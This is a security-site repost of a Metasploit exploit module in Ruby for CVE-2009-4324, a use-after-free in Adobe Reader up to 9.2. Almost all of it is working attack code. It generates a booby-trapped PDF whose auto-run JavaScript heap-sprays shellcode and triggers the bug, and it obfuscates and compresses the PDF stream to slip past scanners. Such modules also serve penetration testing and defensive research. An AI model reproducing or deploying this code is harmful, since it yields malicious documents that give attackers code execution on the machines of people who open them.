首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Adobe Multimeda Doc.media.newPlayer Use After Free Vulnerability(meta)
来源:http://www.metasploit.com 作者:hdm 发布时间:2009-12-16  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Multimeda Doc.media.newPlayer Use After Free Vulnerability',
   'Description'    => %q{
    This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
    Professional versions up to and including 9.2.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'unknown', # Found in the wild
     # Metasploit version by:
     'hdm',    
     'pusscat',
     'jduck'
    ],
   'Version'        => '$Revision: 7881 $',
   'References'     =>
    [
     [ 'CVE', '2009-4324' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'  => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # test results (on Windows XP SP3)
     # reader 7.0.5 - untested
     # reader 7.0.8 - untested
     # reader 7.0.9 - untested
     # reader 7.1.0 - untested
     # reader 7.1.1 - untested
     # reader 8.0.0 - untested
     # reader 8.1.2 - untested
     # reader 8.1.3 - untested
     # reader 8.1.4 - untested
     # reader 8.1.5 - untested
     # reader 8.1.6 - untested
     # reader 9.0.0 - untested
     # reader 9.1.0 - untested
     # reader 9.2 - works (no debugger, no DEP)
     [ 'Adobe Reader Windows Universal (JS Heap Spray)',
      {
       'Size'  => (0x10000/2)
      }
     ],
    ],
   'DisclosureDate' => 'Dec 14 2009',
   'DefaultTarget'  => 0))
  
  register_options(
    [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)
  
 end
 
 def exploit

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Make some nops
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Randomize variables
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  
  script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");

while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
 memory[i]= #{rand2} + #{rand1};
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
|
  
  # Create the pdf
  pdf = make_pdf(script)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)

 end


 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end


 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end


 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end


 def make_pdf(js)

  xref = []
  eol = "\x0d\x0a"
  endobj = "endobj" << eol

  # Randomize PDF version?
  pdf = "%PDF-1.5" << eol
  pdf << "%" << RandomNonASCIIString(4) << eol
  xref << pdf.length
  pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
  xref << pdf.length
  pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << endobj
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end
  pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Monkey HTTP Daemon < 0.9.3 Den
·Google Picasa 3.5 Local DoS Bu
·VideoCache 1.9.2 vccleaner roo
·win xp sp2 PEB ISbeingdebugged
·Savant Web Server 3.1 Remote B
·RM Downloader 3.0.2.1(.M3U Fil
·Cisco ASA <= 8.x VPN SSL modul
·3Com OfficeConnect ADSL Wirele
·Mozilla Codesighs Memory Corru
·TFTP SERVER Buffer Overflow re
·HP NNM 7.53 ovalarm.exe CGI Pr
·Mozilla Firefox Location Bar S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved